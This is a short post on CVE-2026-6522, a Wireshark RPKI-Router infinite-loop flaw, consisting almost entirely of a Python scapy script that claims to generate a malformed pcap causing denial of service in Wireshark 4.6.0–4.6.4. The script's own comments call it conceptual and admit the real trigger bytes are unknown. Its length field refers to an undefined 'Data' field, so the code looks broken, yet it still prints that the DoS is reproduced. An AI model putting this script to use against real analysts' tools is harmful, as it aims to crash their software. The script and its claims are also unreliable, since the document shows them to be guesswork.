CVE-2026-6522 Wireshark RPKI-Router协议无限循环漏洞

#!/usr/bin/env python3 """ PoC Generator for CVE-2026-6522 (Wireshark RPKI-Router Infinite Loop) Description: This script generates a malformed pcap file designed to trigger the infinite loop in the RPKI-Router dissector. Usage: python3 generate_poc.py """ from scapy.all import * import sys # Constructing a malformed RPKI-Router packet (Conceptual) # The specific bytes required to trigger the loop depend on the dissector's logic. # Here we simulate a packet with a length field that causes the parser to loop. class Malformed_RPKI(Packet): name = "Malformed RPKI" fields_desc = [ ByteField("Version", 0), ByteField("PDUType", 0), # A malicious length field that might cause an off-by-one or endless loop FieldLenField("Length", None, length_of="Data", fmt="!I") ] # Create the packet structure # Note: Actual trigger bytes would require reverse engineering the specific vulnerability fix. pkt = IP(dst="127.0.0.1")/TCP(dport=7000)/Malformed_RPKI(Length=0xFFFFFFFF) # Save to pcap file filename = "cve_2026_6522_poc.pcap" wrpcap(filename, pkt) print(f"[+] PoC file generated: {filename}") print(f"[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the DoS.")